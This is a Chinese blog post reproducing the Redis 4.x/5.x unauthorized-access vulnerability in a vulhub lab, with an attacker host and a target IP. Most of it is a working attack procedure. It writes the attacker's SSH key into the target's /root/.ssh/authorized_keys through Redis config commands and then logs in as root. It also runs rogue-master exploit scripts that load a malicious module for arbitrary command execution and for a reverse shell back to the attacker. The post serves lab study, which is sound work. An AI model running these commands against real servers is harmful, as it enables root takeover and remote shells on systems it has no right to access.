• Redis 4.x/5.x 未授权访问漏洞


    0x00漏洞简介

    Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

    0x01漏洞复现

    攻击机:Kali Linux IP:192.168.0.189

    靶机:CentOS 7 (内含docker)IP:192.168.2.184 环境:https://github.com/vulhub/vulhub/tree/master/redis/4-unacc

    (1)攻击机环境准备

    下载redis:http://download.redis.io/releases/
    解压:tar -zxvf xxx
    进入文件夹编译:make
    授予redis-cli全局访问权限:cp redis-cli /usr/local/bin
    

    (2)对靶机的redis进行端口探测

    nmap -p 6379 -script redis-info 192.168.2.184
    

    (3)进行未授权访问连接

    redis-cli -h 192.168.2.184
    

    (4)免密钥登陆对方主机

    SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证也就是我们想要的免密登录了,这里我只简单说一下密钥验证的原理。

    所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

    (1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;

    (2)客户端发起登录请求,发送自己的相关信息;

    (3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;

    (4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;

    (5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

    如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

    #生成ssh公钥
    ssh-keygen -t rsa
    
    #将该密钥复制到gongyao.txt种
    (echo -e ""
    
    "; cat id_rsa.pub; echo -e ""
    
    ") > gongyao.txt
    
    #将gongyao.txt传到靶机
    cat gongyao.txt | redis-cli -h 192.168.2.184 -x set crackit
    
    #登陆靶机,路径修改为root/.ssh
    redis-cli -h 192.168.2.184
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    save
    
    #远程登陆
    ssh -i /root/.ssh/id_rsa root@192.168.2.184
    

    0x02 EXP

    (1)任意命令执行:https://github.com/vulhub/redis-rogue-getshell

    kali Linux 位置:/hack/redis-rogue-getshell/redis-master.py

    python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
    

    (2)反弹shell:https://github.com/Ridter/redis-rce

    Kali Linux 位置:/hack/redis-rogue-getshell/redis-rce.py

    python3 redis-rce.py -r 192.168.2.184 -L 192.168.0.189 -f RedisModulesSDK/exp.so
    
  • 相关阅读:
    ARM汇编伪指令介绍.
    初识KITL
    c面试题
    Windows ce的体系结构和功能
    c宏定义的技巧总结
    Build in Windows Mobile
    关于wince注册表
    动态链接库(Dynamic Link Library)学习笔记
    WinCE驱动开发问题精华集锦
    OAL之系统时钟
  • 原文地址:https://www.cnblogs.com/Feng-L/p/13695901.html
Copyright © 2020-2023  润新知